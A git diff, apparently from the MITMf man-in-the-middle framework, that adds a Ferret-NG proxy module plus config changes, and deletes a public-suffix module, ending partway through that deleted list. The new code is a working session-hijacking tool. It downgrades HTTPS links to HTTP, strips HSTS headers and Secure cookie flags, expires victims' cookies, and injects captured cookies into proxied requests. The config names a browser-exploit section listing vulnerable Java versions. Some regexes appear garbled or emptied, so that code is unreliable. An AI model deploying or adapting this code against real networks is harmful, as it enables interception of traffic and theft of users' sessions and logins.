diff --git a/config/mitmf.conf b/config/mitmf.conf
index 8387fbb..040eec3 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -94,6 +94,14 @@
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
+[Replace]
+
+ [[Regex1]]
+ 'Google Search' = 'Google In My Pants'
+
+ [[Regex2]]
+ "I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
+
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
@@ -223,7 +231,7 @@
skip_in_mass_poison=1
#you can add other scripts in additional sections like jQuery etc.
-[JavaPwn]
+[BrowserPwn]
#
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
diff --git a/core/configwatcher.py b/core/configwatcher.py
index 03f8e3c..2da6962 100644
--- a/core/configwatcher.py
+++ b/core/configwatcher.py
@@ -12,7 +12,6 @@ mitmf_logger = logging.getLogger('mitmf')
class ConfigWatcher(FileSystemEventHandler):
_instance = None
-
config = ConfigObj("./config/mitmf.conf")
@staticmethod
@@ -43,5 +42,5 @@ class ConfigWatcher(FileSystemEventHandler):
try:
self.config = ConfigObj("./config/mitmf.conf")
except Exception as e:
- mitmf_logger.warning("Error reloading config file: {}".format(e))
+ mitmf_logger.error("Error reloading config file: {}".format(e))
pass
diff --git a/core/ferretNG/ClientRequest.py b/core/ferretNG/ClientRequest.py
new file mode 100644
index 0000000..ac6a80b
--- /dev/null
+++ b/core/ferretNG/ClientRequest.py
@@ -0,0 +1,168 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import urlparse
+import logging
+import os
+import sys
+import random
+import re
+
+from twisted.web.http import Request
+from twisted.web.http import HTTPChannel
+from twisted.web.http import HTTPClient
+
+from twisted.internet import ssl
+from twisted.internet import defer
+from twisted.internet import reactor
+from twisted.internet.protocol import ClientFactory
+
+from ServerConnectionFactory import ServerConnectionFactory
+from ServerConnection import ServerConnection
+from SSLServerConnection import SSLServerConnection
+from URLMonitor import URLMonitor
+from CookieCleaner import CookieCleaner
+from DnsCache import DnsCache
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class ClientRequest(Request):
+
+ ''' This class represents incoming client requests and is essentially where
+ the magic begins. Here we remove the client headers we dont like, and then
+ respond with either favicon spoofing, session denial, or proxy through HTTP
+ or SSL to the server.
+ '''
+
+ def __init__(self, channel, queued, reactor=reactor):
+ Request.__init__(self, channel, queued)
+ self.reactor = reactor
+ self.urlMonitor = URLMonitor.getInstance()
+ self.cookieCleaner = CookieCleaner.getInstance()
+ self.dnsCache = DnsCache.getInstance()
+ #self.uniqueId = random.randint(0, 10000)
+
+ def cleanHeaders(self):
+ headers = self.getAllHeaders().copy()
+
+ if 'accept-encoding' in headers:
+ del headers['accept-encoding']
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding")
+
+ if 'if-modified-since' in headers:
+ del headers['if-modified-since']
+
+ if 'cache-control' in headers:
+ del headers['cache-control']
+
+ if 'host' in headers:
+ if headers['host'] in self.urlMonitor.cookies:
+ mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
+ headers['cookie'] = self.urlMonitor.cookies[headers['host']]
+
+ return headers
+
+ def getPathFromUri(self):
+ if (self.uri.find("http://") == 0):
+ index = self.uri.find('/', 7)
+ return self.uri[index:]
+
+ return self.uri
+
+ def handleHostResolvedSuccess(self, address):
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
+ host = self.getHeader("host")
+ headers = self.cleanHeaders()
+ client = self.getClientIP()
+ path = self.getPathFromUri()
+ url = 'http://' + host + path
+ self.uri = url # set URI to absolute
+
+ if self.content:
+ self.content.seek(0,0)
+
+ postData = self.content.read()
+
+ hostparts = host.split(':')
+ self.dnsCache.cacheResolution(hostparts[0], address)
+
+ if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies")
+ self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
+
+ elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
+ if 'securelink' in headers:
+ del headers['securelink']
+
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url)))
+ self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
+
+ else:
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP")
+ #self.proxyViaHTTP(address, self.method, path, postData, headers)
+ port = 80
+ if len(hostparts) > 1:
+ port = int(hostparts[1])
+
+ self.proxyViaHTTP(address, self.method, path, postData, headers, port)
+
+ def handleHostResolvedError(self, error):
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error))
+ try:
+ self.finish()
+ except:
+ pass
+
+ def resolveHost(self, host):
+ address = self.dnsCache.getCachedAddress(host)
+
+ if address != None:
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address))
+ return defer.succeed(address)
+ else:
+ return reactor.resolve(host)
+
+ def process(self):
+ mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host')))
+ host = self.getHeader('host').split(":")[0]
+
+ deferred = self.resolveHost(host)
+ deferred.addCallback(self.handleHostResolvedSuccess)
+ deferred.addErrback(self.handleHostResolvedError)
+
+ def proxyViaHTTP(self, host, method, path, postData, headers, port):
+ connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
+ connectionFactory.protocol = ServerConnection
+ #self.reactor.connectTCP(host, 80, connectionFactory)
+ self.reactor.connectTCP(host, port, connectionFactory)
+
+ def proxyViaSSL(self, host, method, path, postData, headers, port):
+ clientContextFactory = ssl.ClientContextFactory()
+ connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
+ connectionFactory.protocol = SSLServerConnection
+ self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
+
+ def sendExpiredCookies(self, host, path, expireHeaders):
+ self.setResponseCode(302, "Moved")
+ self.setHeader("Connection", "close")
+ self.setHeader("Location", "http://" + host + path)
+
+ for header in expireHeaders:
+ self.setHeader("Set-Cookie", header)
+
+ self.finish()
diff --git a/core/ferretNG/CookieCleaner.py b/core/ferretNG/CookieCleaner.py
new file mode 100644
index 0000000..5ba393c
--- /dev/null
+++ b/core/ferretNG/CookieCleaner.py
@@ -0,0 +1,105 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import string
+
+class CookieCleaner:
+ '''This class cleans cookies we haven't seen before. The basic idea is to
+ kill sessions, which isn't entirely straight-forward. Since we want this to
+ be generalized, there's no way for us to know exactly what cookie we're trying
+ to kill, which also means we don't know what domain or path it has been set for.
+
+ The rule with cookies is that specific overrides general. So cookies that are
+ set for mail.foo.com override cookies with the same name that are set for .foo.com,
+ just as cookies that are set for foo.com/mail override cookies with the same name
+ that are set for foo.com/
+
+ The best we can do is guess, so we just try to cover our bases by expiring cookies
+ in a few different ways. The most obvious thing to do is look for individual cookies
+ and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
+ set by Javascript instead of a Set-Cookie header, and if we block those the site
+ will think cookies are disabled in the browser. So we do the expirations and whitlisting
+ based on client,server tuples. The first time a client hits a server, we kill whatever
+ cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
+
+ '''
+
+ _instance = None
+
+ def __init__(self):
+ self.cleanedCookies = set();
+ self.enabled = False
+
+ @staticmethod
+ def getInstance():
+ if CookieCleaner._instance == None:
+ CookieCleaner._instance = CookieCleaner()
+
+ return CookieCleaner._instance
+
+ def setEnabled(self, enabled):
+ self.enabled = enabled
+
+ def isClean(self, method, client, host, headers):
+ if method == "POST": return True
+ if not self.enabled: return True
+ if not self.hasCookies(headers): return True
+
+ return (client, self.getDomainFor(host)) in self.cleanedCookies
+
+ def getExpireHeaders(self, method, client, host, headers, path):
+ domain = self.getDomainFor(host)
+ self.cleanedCookies.add((client, domain))
+
+ expireHeaders = []
+
+ for cookie in headers['cookie'].split(";"):
+ cookie = cookie.split("=")[0].strip()
+ expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
+ expireHeaders.extend(expireHeadersForCookie)
+
+ return expireHeaders
+
+ def hasCookies(self, headers):
+ return 'cookie' in headers
+
+ def getDomainFor(self, host):
+ hostParts = host.split(".")
+ return "." + hostParts[-2] + "." + hostParts[-1]
+
+ def getExpireCookieStringFor(self, cookie, host, domain, path):
+ pathList = path.split("/")
+ expireStrings = list()
+
+ expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
+ ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+ expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
+ ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+ if len(pathList) > 2:
+ expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
+ domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+ expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
+ host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+ return expireStrings
+
+
diff --git a/core/ferretNG/DnsCache.py b/core/ferretNG/DnsCache.py
new file mode 100644
index 0000000..f0cc638
--- /dev/null
+++ b/core/ferretNG/DnsCache.py
@@ -0,0 +1,49 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class DnsCache:
+
+ '''
+ The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
+ '''
+
+ _instance = None
+
+ def __init__(self):
+ self.customAddress = None
+ self.cache = {}
+
+ @staticmethod
+ def getInstance():
+ if DnsCache._instance == None:
+ DnsCache._instance = DnsCache()
+
+ return DnsCache._instance
+
+ def cacheResolution(self, host, address):
+ self.cache[host] = address
+
+ def getCachedAddress(self, host):
+ if host in self.cache:
+ return self.cache[host]
+
+ return None
diff --git a/core/ferretNG/FerretProxy.py b/core/ferretNG/FerretProxy.py
new file mode 100644
index 0000000..d95f786
--- /dev/null
+++ b/core/ferretNG/FerretProxy.py
@@ -0,0 +1,24 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+from twisted.web.http import HTTPChannel
+from ClientRequest import ClientRequest
+
+class FerretProxy(HTTPChannel):
+
+ requestFactory = ClientRequest
diff --git a/core/ferretNG/SSLServerConnection.py b/core/ferretNG/SSLServerConnection.py
new file mode 100644
index 0000000..8ba8007
--- /dev/null
+++ b/core/ferretNG/SSLServerConnection.py
@@ -0,0 +1,110 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging, re, string
+
+from ServerConnection import ServerConnection
+from URLMonitor import URLMonitor
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class SSLServerConnection(ServerConnection):
+
+ '''
+ For SSL connections to a server, we need to do some additional stripping. First we need
+ to make note of any relative links, as the server will be expecting those to be requested
+ via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
+ '''
+
+ cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
+ cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
+ iconExpression = re.compile(r"", re.IGNORECASE)
+ linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
+ headExpression = re.compile(r"
", re.IGNORECASE)
+
+ def __init__(self, command, uri, postData, headers, client):
+ ServerConnection.__init__(self, command, uri, postData, headers, client)
+ self.urlMonitor = URLMonitor.getInstance()
+
+ def getLogLevel(self):
+ return logging.INFO
+
+ def getPostPrefix(self):
+ return "SECURE POST"
+
+ def handleHeader(self, key, value):
+ if (key.lower() == 'set-cookie'):
+ value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
+
+ ServerConnection.handleHeader(self, key, value)
+
+ def stripFileFromPath(self, path):
+ (strippedPath, lastSlash, file) = path.rpartition('/')
+ return strippedPath
+
+ def buildAbsoluteLink(self, link):
+ absoluteLink = ""
+
+ if ((not link.startswith('http')) and (not link.startswith('/'))):
+ absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
+
+ mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link)
+ mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
+ elif not link.startswith('http'):
+ absoluteLink = "http://"+self.headers['host']+link
+
+ mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link)
+ mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink)
+
+ if not absoluteLink == "":
+ absoluteLink = absoluteLink.replace('&', '&')
+ self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
+
+ def replaceCssLinks(self, data):
+ iterator = re.finditer(SSLServerConnection.cssExpression, data)
+
+ for match in iterator:
+ self.buildAbsoluteLink(match.group(1))
+
+ return data
+
+ def replaceFavicon(self, data):
+ match = re.search(SSLServerConnection.iconExpression, data)
+
+ if (match != None):
+ data = re.sub(SSLServerConnection.iconExpression,
+ "", data)
+ else:
+ data = re.sub(SSLServerConnection.headExpression,
+ "", data)
+
+ return data
+
+ def replaceSecureLinks(self, data):
+ data = ServerConnection.replaceSecureLinks(self, data)
+ data = self.replaceCssLinks(data)
+
+ if (self.urlMonitor.isFaviconSpoofing()):
+ data = self.replaceFavicon(data)
+
+ iterator = re.finditer(SSLServerConnection.linkExpression, data)
+
+ for match in iterator:
+ self.buildAbsoluteLink(match.group(10))
+
+ return data
diff --git a/core/ferretNG/ServerConnection.py b/core/ferretNG/ServerConnection.py
new file mode 100644
index 0000000..e1e04ef
--- /dev/null
+++ b/core/ferretNG/ServerConnection.py
@@ -0,0 +1,193 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import re
+import string
+import random
+import zlib
+import gzip
+import StringIO
+import sys
+
+from twisted.web.http import HTTPClient
+from URLMonitor import URLMonitor
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class ServerConnection(HTTPClient):
+
+ ''' The server connection is where we do the bulk of the stripping. Everything that
+ comes back is examined. The headers we dont like are removed, and the links are stripped
+ from HTTPS to HTTP.
+ '''
+
+ urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
+ urlType = re.compile(r"https://", re.IGNORECASE)
+ urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
+ urlTypewww = re.compile(r"https://www", re.IGNORECASE)
+ urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
+ urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
+ urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
+ #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
+
+ def __init__(self, command, uri, postData, headers, client):
+
+ self.command = command
+ self.uri = uri
+ self.postData = postData
+ self.headers = headers
+ self.client = client
+ self.clientInfo = None
+ self.urlMonitor = URLMonitor.getInstance()
+ self.isImageRequest = False
+ self.isCompressed = False
+ self.contentLength = None
+ self.shutdownComplete = False
+
+ def getPostPrefix(self):
+ return "POST"
+
+ def sendRequest(self):
+ if self.command == 'GET':
+
+ mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host']))
+
+ self.sendCommand(self.command, self.uri)
+
+ def sendHeaders(self):
+ for header, value in self.headers.iteritems():
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value))
+ self.sendHeader(header, value)
+
+ self.endHeaders()
+
+ def sendPostData(self):
+
+ self.transport.write(self.postData)
+
+ def connectionMade(self):
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.")
+ self.sendRequest()
+ self.sendHeaders()
+
+ if (self.command == 'POST'):
+ self.sendPostData()
+
+ def handleStatus(self, version, code, message):
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message))
+ self.client.setResponseCode(int(code), message)
+
+ def handleHeader(self, key, value):
+ if (key.lower() == 'location'):
+ value = self.replaceSecureLinks(value)
+
+ if (key.lower() == 'content-type'):
+ if (value.find('image') != -1):
+ self.isImageRequest = True
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning")
+
+ if (key.lower() == 'content-encoding'):
+ if (value.find('gzip') != -1):
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed")
+ self.isCompressed = True
+
+ elif (key.lower()== 'strict-transport-security'):
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header")
+
+ elif (key.lower() == 'content-length'):
+ self.contentLength = value
+
+ elif (key.lower() == 'set-cookie'):
+ self.client.responseHeaders.addRawHeader(key, value)
+
+ else:
+ self.client.setHeader(key, value)
+
+ def handleEndHeaders(self):
+ if (self.isImageRequest and self.contentLength != None):
+ self.client.setHeader("Content-Length", self.contentLength)
+
+ if self.length == 0:
+ self.shutdown()
+
+ if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
+ for header, value in self.client.headers.iteritems():
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value))
+
+ def handleResponsePart(self, data):
+ if (self.isImageRequest):
+ self.client.write(data)
+ else:
+ HTTPClient.handleResponsePart(self, data)
+
+ def handleResponseEnd(self):
+ if (self.isImageRequest):
+ self.shutdown()
+ else:
+ try:
+ HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
+ except:
+ pass
+
+ def handleResponse(self, data):
+ if (self.isCompressed):
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...")
+ data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
+
+ data = self.replaceSecureLinks(data)
+
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data)))
+
+ if (self.contentLength != None):
+ self.client.setHeader('Content-Length', len(data))
+
+ try:
+ self.client.write(data)
+ except:
+ pass
+
+ try:
+ self.shutdown()
+ except:
+ mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.")
+
+ def replaceSecureLinks(self, data):
+
+ iterator = re.finditer(ServerConnection.urlExpression, data)
+
+ for match in iterator:
+ url = match.group()
+
+ mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url)
+
+ url = url.replace('https://', 'http://', 1)
+ url = url.replace('&', '&')
+ self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
+
+ data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
+ return re.sub(ServerConnection.urlType, 'http://', data)
+
+ def shutdown(self):
+ if not self.shutdownComplete:
+ self.shutdownComplete = True
+ try:
+ self.client.finish()
+ self.transport.loseConnection()
+ except:
+ pass
diff --git a/core/ferretNG/ServerConnectionFactory.py b/core/ferretNG/ServerConnectionFactory.py
new file mode 100644
index 0000000..a64c800
--- /dev/null
+++ b/core/ferretNG/ServerConnectionFactory.py
@@ -0,0 +1,48 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+from twisted.internet.protocol import ClientFactory
+
+mitmf_logger = logging.getLogger('mimtf')
+
+class ServerConnectionFactory(ClientFactory):
+
+ def __init__(self, command, uri, postData, headers, client):
+ self.command = command
+ self.uri = uri
+ self.postData = postData
+ self.headers = headers
+ self.client = client
+
+ def buildProtocol(self, addr):
+ return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
+
+ def clientConnectionFailed(self, connector, reason):
+ mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
+
+ destination = connector.getDestination()
+
+ if (destination.port != 443):
+ mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
+ self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
+ else:
+ try:
+ self.client.finish()
+ except:
+ pass
diff --git a/core/ferretNG/URLMonitor.py b/core/ferretNG/URLMonitor.py
new file mode 100644
index 0000000..d1381aa
--- /dev/null
+++ b/core/ferretNG/URLMonitor.py
@@ -0,0 +1,85 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import re
+import os
+import logging
+
+mitmf_logger = logging.getLogger('mimtf')
+
+class URLMonitor:
+
+ '''
+ The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
+ server is expecting over SSL. It also keeps track of secure favicon urls.
+ '''
+
+ # Start the arms race, and end up here...
+ javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
+ cookies = dict()
+ _instance = None
+
+ def __init__(self):
+ self.strippedURLs = set()
+ self.strippedURLPorts = dict()
+
+ @staticmethod
+ def getInstance():
+ if URLMonitor._instance == None:
+ URLMonitor._instance = URLMonitor()
+
+ return URLMonitor._instance
+
+ def isSecureLink(self, client, url):
+ for expression in URLMonitor.javascriptTrickery:
+ if (re.match(expression, url)):
+ return True
+
+ return (client,url) in self.strippedURLs
+
+ def getSecurePort(self, client, url):
+ if (client,url) in self.strippedURLs:
+ return self.strippedURLPorts[(client,url)]
+ else:
+ return 443
+
+ def addSecureLink(self, client, url):
+ methodIndex = url.find("//") + 2
+ method = url[0:methodIndex]
+
+ pathIndex = url.find("/", methodIndex)
+ if pathIndex is -1:
+ pathIndex = len(url)
+ url += "/"
+
+ host = url[methodIndex:pathIndex].lower()
+ path = url[pathIndex:]
+
+ port = 443
+ portIndex = host.find(":")
+
+ if (portIndex != -1):
+ host = host[0:portIndex]
+ port = host[portIndex+1:]
+ if len(port) == 0:
+ port = 443
+
+ url = method + host + path
+
+ self.strippedURLs.add((client, url))
+ self.strippedURLPorts[(client, url)] = int(port)
diff --git a/core/publicsuffix/__init__.py b/core/ferretNG/__init__.py
similarity index 100%
rename from core/publicsuffix/__init__.py
rename to core/ferretNG/__init__.py
diff --git a/core/publicsuffix/publicsuffix.py b/core/publicsuffix/publicsuffix.py
deleted file mode 100644
index 5488ab2..0000000
--- a/core/publicsuffix/publicsuffix.py
+++ /dev/null
@@ -1,106 +0,0 @@
-"""Public Suffix List module for Python.
-"""
-
-import codecs
-import os.path
-
-class PublicSuffixList(object):
- def __init__(self, input_file=None):
- """Reads and parses public suffix list.
-
- input_file is a file object or another iterable that returns
- lines of a public suffix list file. If input_file is None, an
- UTF-8 encoded file named "publicsuffix.txt" in the same
- directory as this Python module is used.
-
- The file format is described at http://publicsuffix.org/list/
- """
-
- if input_file is None:
- input_path = os.path.join(os.path.dirname(__file__), 'publicsuffix.txt')
- input_file = codecs.open(input_path, "r", "utf8")
-
- root = self._build_structure(input_file)
- self.root = self._simplify(root)
-
- def _find_node(self, parent, parts):
- if not parts:
- return parent
-
- if len(parent) == 1:
- parent.append({})
-
- assert len(parent) == 2
- negate, children = parent
-
- child = parts.pop()
-
- child_node = children.get(child, None)
-
- if not child_node:
- children[child] = child_node = [0]
-
- return self._find_node(child_node, parts)
-
- def _add_rule(self, root, rule):
- if rule.startswith('!'):
- negate = 1
- rule = rule[1:]
- else:
- negate = 0
-
- parts = rule.split('.')
- self._find_node(root, parts)[0] = negate
-
- def _simplify(self, node):
- if len(node) == 1:
- return node[0]
-
- return (node[0], dict((k, self._simplify(v)) for (k, v) in node[1].items()))
-
- def _build_structure(self, fp):
- root = [0]
-
- for line in fp:
- line = line.strip()
- if line.startswith('//') or not line:
- continue
-
- self._add_rule(root, line.split()[0].lstrip('.'))
-
- return root
-
- def _lookup_node(self, matches, depth, parent, parts):
- if parent in (0, 1):
- negate = parent
- children = None
- else:
- negate, children = parent
-
- matches[-depth] = negate
-
- if depth < len(parts) and children:
- for name in ('*', parts[-depth]):
- child = children.get(name, None)
- if child is not None:
- self._lookup_node(matches, depth+1, child, parts)
-
- def get_public_suffix(self, domain):
- """get_public_suffix("www.example.com") -> "example.com"
-
- Calling this function with a DNS name will return the
- public suffix for that name.
-
- Note that for internationalized domains the list at
- http://publicsuffix.org uses decoded names, so it is
- up to the caller to decode any Punycode-encoded names.
- """
-
- parts = domain.lower().lstrip('.').split('.')
- hits = [None] * len(parts)
-
- self._lookup_node(hits, 1, self.root, parts)
-
- for i, what in enumerate(hits):
- if what is not None and what == 0:
- return '.'.join(parts[i:])
diff --git a/core/publicsuffix/publicsuffix.txt b/core/publicsuffix/publicsuffix.txt
deleted file mode 100644
index 87b2f33..0000000
--- a/core/publicsuffix/publicsuffix.txt
+++ /dev/null
@@ -1,4909 +0,0 @@
-// ***** BEGIN LICENSE BLOCK *****
-// Version: MPL 1.1/GPL 2.0/LGPL 2.1
-//
-// The contents of this file are subject to the Mozilla Public License Version
-// 1.1 (the "License"); you may not use this file except in compliance with
-// the License. You may obtain a copy of the License at
-// http://www.mozilla.org/MPL/
